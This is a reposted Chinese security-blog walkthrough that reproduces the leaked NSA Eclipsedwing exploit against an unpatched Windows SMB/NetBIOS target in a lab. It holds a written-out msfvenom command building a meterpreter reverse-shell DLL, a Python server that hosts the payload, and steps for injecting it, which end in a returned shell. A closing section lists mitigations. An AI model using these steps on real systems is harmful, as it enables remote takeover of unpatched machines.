【轉載】NSA武器庫之Eclipsedwing復現
來源:安全客 - 有思想的安全新媒體
作者:ComSoc
作者主頁:- 有思想的安全新媒體
原文鏈接:【技術分享】NSA武器庫之Eclipsedwing復現 - 安全客 - 有思想的安全新媒體
本文由 安全客 原創發布,如需轉載請註明來源及本文地址。
本文非《安全大事件》原創
導語
自shadow Brokers公布NSA泄露工具後,各路大神陸陸續續發表泄露工具各種exp復現過程,又WannaCry、EternalRocks勒索病毒的肆虐,無一不表現出泄露工具的威力,但泄露工具中光exploit就達15個,網路上搜索到的復現教程也就6個(Eternalblue,Eternalchampion,Eternalromance,Explodingcan,Esteemaudit,Easybee),還有一大半沒有相關資料。那剩下的一大半就不重要嗎?顯然不是,NSA工具集值得學習的地方還有好多,於是有了今天的文章,有何不妥之處請各路大神指教!
前期準備
靶機環境
Eclipsedwin漏洞復現過程
Use Eclipsedwin
設置目標IP、埠和NetBIOSName,NetBIOSName是計算機的標識名,該名字主要用於區域網中計算機之間的相互訪問,可通過在cmd下輸入hostname獲得。然後基本默認,Rpctouch Succeeded
Eclipsedwingtouch Succeeded這時候在靶機上已經產生了一條連接利用Pcdlllauncher注入dll
使用Pcdlllauncher
需要注意的是LPEntryname的路徑需要真實存在,找到自己對應的文件進行修改。
然後使用生成用於反彈shell的dll payload:
並使用python創建一個HTTP伺服器,方便攻擊機下載payload,
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.226.128 lport=8090 --platform windows -f dll -o eclipsedwin.dllnpython -m SimpleHTTPServer 9090n
運行提示「FAILED TO DUPLICATE SOCKET」,但payload已經在靶機上運行了。查看metasploit,成功返回shell
Eclipsedwin支持的系統
NBT協議即net bios over TCP/IP,屬於SMB(Server Message Block) Windows協議族,用於文件和列印共享服務。NBT(NetBIOS over TCP/IP) 使用137(UDP), 138(UDP) and 139 (TCP)來實現基於TCP/IP的NETBIOS網際互聯。
防範手段
安裝MS08-067補丁,開啟防火牆過濾137-139,445埠,關閉SMB服務。
推薦閱讀:
※NSA早在三年前就被黑?這個鍋斯諾登不背!
※NSA的Windows漏洞軍火庫泄漏:多個零日、利用工具可直接使用
※NSA被黑真相 數據從內部流出
※美國四的 NSA、CIA、FBI、DHS 有什麼不同?